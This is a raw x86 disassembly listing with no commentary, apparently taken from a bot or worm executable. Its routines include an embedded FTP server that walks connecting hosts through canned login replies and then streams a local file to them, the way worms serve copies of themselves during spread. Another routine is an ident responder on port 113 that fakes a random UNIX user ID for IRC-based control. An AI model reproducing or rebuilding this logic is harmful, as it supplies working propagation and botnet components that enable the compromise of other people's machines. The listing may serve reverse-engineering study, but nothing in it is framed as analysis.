		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014D3
		push	eax
		push	offset dword_44401C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E8EE:				; CODE XREF: sub_41E660+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EA55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016E0
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402144
		add	esp, 4
		test	al, al
		jz	loc_41EA3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B40
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_40145B
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EA3D
		mov	ebx, dword_50F8D0


loc_41E9D6:				; CODE XREF: sub_41E660+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	edi
		push	offset dword_444010
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_40182A
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41E9D6


loc_41EA3D:				; CODE XREF: sub_41E660+2CFj
					; sub_41E660+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EA55:				; CODE XREF: sub_41E660+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB4C
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017E4
		push	eax
		call	sub_4019FB
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014D3
		push	eax
		push	offset dword_444008
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EB4C:				; CODE XREF: sub_41E660+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41EC15
		push	ebx
		push	offset dword_443FFC
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		push	ebx
		call	sub_4018A7
		add	esp, 1Ch
		jmp	short loc_41EC17
; ---------------------------------------------------------------------------


loc_41EC15:				; CODE XREF: sub_41E660+1F0j
					; sub_41E660+44Ej ...
		xor	al, al


loc_41EC17:				; CODE XREF: sub_41E660+195j
					; sub_41E660+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EDB0:				; CODE XREF: ___:loc_401FE6j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_50F8D0
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EDE0:				; CODE XREF: ___:0041EDF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EDF3
		push	3E8h
		call	edi
		jmp	short loc_41EDE0
; ---------------------------------------------------------------------------


loc_41EDF3:				; CODE XREF: ___:0041EDE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4472A7
		call	sub_401A32
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E6ECB
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EE19:				; DATA XREF: ___:loc_41EE2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EE2C:				; DATA XREF: ___:0044154Co
		mov	eax, offset loc_41EE19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EE70	proc near		; CODE XREF: sub_401DE3j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FBE
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FBE
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FBE
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EE70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF30	proc near		; CODE XREF: sub_4020A9j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EF30
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44767F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41EFB7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E6ECB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFB7:				; CODE XREF: sub_41EF30+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41EFE7
		mov	ecx, [edi+15h]
		push	ecx
		nop
		call	near ptr 71AB9639h
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E6ECB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFE7:				; CODE XREF: sub_41EF30+93j
		mov	al, byte_4E6E74
		test	al, al
		jz	loc_41F650
		push	ebx
		mov	ebx, dword_50FB08
		push	ebp
		mov	ebp, dword_50FC8C


loc_41F002:				; CODE XREF: sub_41EF30+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F01D
		push	0FAh
		jmp	loc_41F63B
; ---------------------------------------------------------------------------


loc_41F01D:				; CODE XREF: sub_41EF30+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F636
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F641
		mov	cl, byte_447DE8
		test	cl, cl
		jz	short loc_41F0CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44767F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_447988
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 28h


loc_41F0CF:				; CODE XREF: sub_41EF30+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_401424
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C5D
		push	eax
		call	sub_4015EB
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FBE
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016AE
		push	offset asc_444098 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017E4
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017E4
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017E4
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017E4
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017E4
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017E4
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	near ptr byte_5EA1BD
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401A8C
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F595
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F595
		push	2
		push	0
		push	edi
		call	near ptr 77C4139Ch
		nop
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F4C0:				; CODE XREF: sub_41EF30+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		call	near ptr 77C411FBh
		nop
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F513
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp
		cmp	edi, 1000h
		jz	short loc_41F4C0


loc_41F513:				; CODE XREF: sub_41EF30+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_447DE8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F57C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_447988
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 2Ch


loc_41F57C:				; CODE XREF: sub_41EF30+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F595:				; CODE XREF: sub_41EF30+55Bj
					; sub_41EF30+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp
		push	esi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F636:				; CODE XREF: sub_41EF30+109j
		push	9C4h


loc_41F63B:				; CODE XREF: sub_41EF30+E8j
		nop
		call	near ptr 2830000h


loc_41F641:				; CODE XREF: sub_41EF30+140j
		mov	al, byte_4E6E74
		test	al, al
		jnz	loc_41F002
		pop	ebp
		pop	ebx


loc_41F650:				; CODE XREF: sub_41EF30+BEj
		mov	eax, [edi+15h]
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41F65A:				; CODE XREF: sub_41EF30+82j
					; sub_41EF30+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EF30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F860	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F89D
		mov	byte_4E6EC9, 0
		jmp	loc_41FA01
; ---------------------------------------------------------------------------


loc_41F89D:				; CODE XREF: sub_41F860+2Fj
		mov	cl, byte_4472AB
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E6EC9, 1
		jnz	loc_41F9F4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_401FEB
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41F9E7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_401424
		mov	[esp+0A0h+var_4], ebx
		call	sub_401EEC
		mov	esi, dword_50FABC
		call	esi
		cdq
		mov	ecx, 3
		push	offset byte_446F60
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015D7
		cmp	edi, ebx
		jle	short loc_41F966


loc_41F90A:				; CODE XREF: sub_41F860+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_401424
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FBE
		call	esi
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_443E74
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F90A


loc_41F966:				; CODE XREF: sub_41F860+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_40146F
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017E4
		push	eax
		push	71h
		call	esi
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	near ptr byte_5EA1BD
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		call	near ptr 71AB428Ah
		nop
		mov	esi, dword_50FC88
		push	ebp
		call	esi
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi
		mov	byte_4E6EC9, bl
		pop	edi
		jmp	short loc_41F9FE
; ---------------------------------------------------------------------------


